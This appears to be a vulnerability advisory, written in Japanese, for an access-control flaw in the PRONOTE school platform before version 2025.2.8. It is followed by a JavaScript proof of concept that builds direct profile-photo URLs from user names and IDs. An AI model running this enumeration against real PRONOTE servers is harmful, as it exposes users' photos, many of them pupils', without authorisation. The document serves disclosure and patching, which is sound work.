PRONOTE - 202X.X.X < 2025.2.8
INDEX-EDUCATION PRONOTE 2025.2.8 より前のバージョンには、不適切なアクセス制御の脆弱性が存在します。影響を受けるコンポーネント(composeUrlImgPhotoIndividu)は、ユーザーIDや名前などの予測可能な識別子のみに基づいて、ユーザーのプロフィール画像への直接URLを構築することを可能にします。これらのURLの生成やアクセス時に認証チェックが欠如しており、レート制限もないため、認証されていないまたは権限のないユーザーが、推測または既知の識別子を使ってリクエストを作成することで、ユーザーのプロフィール画像を取得する可能性があります。
const arr = [] // List of users
const base = "https://demo.index-education.net/pronote";
IE.fModule({
f: function (exports, require, module, global) {
const ObjetElement = require("ObjetElement");
const AccesApp = global.GApplication;
const comm = AccesApp.communication;
for (const obj of arr) {
const path = comm.composeUrlFichierExterne(
obj.L.replace(/[\s]/gi, "_") + ".jpg",
new ObjetElement.ObjetElement("", obj.N)
);
const url = `${base}/${path}`;
console.log(url);
}
},
fn: "testIEmodule.js",
});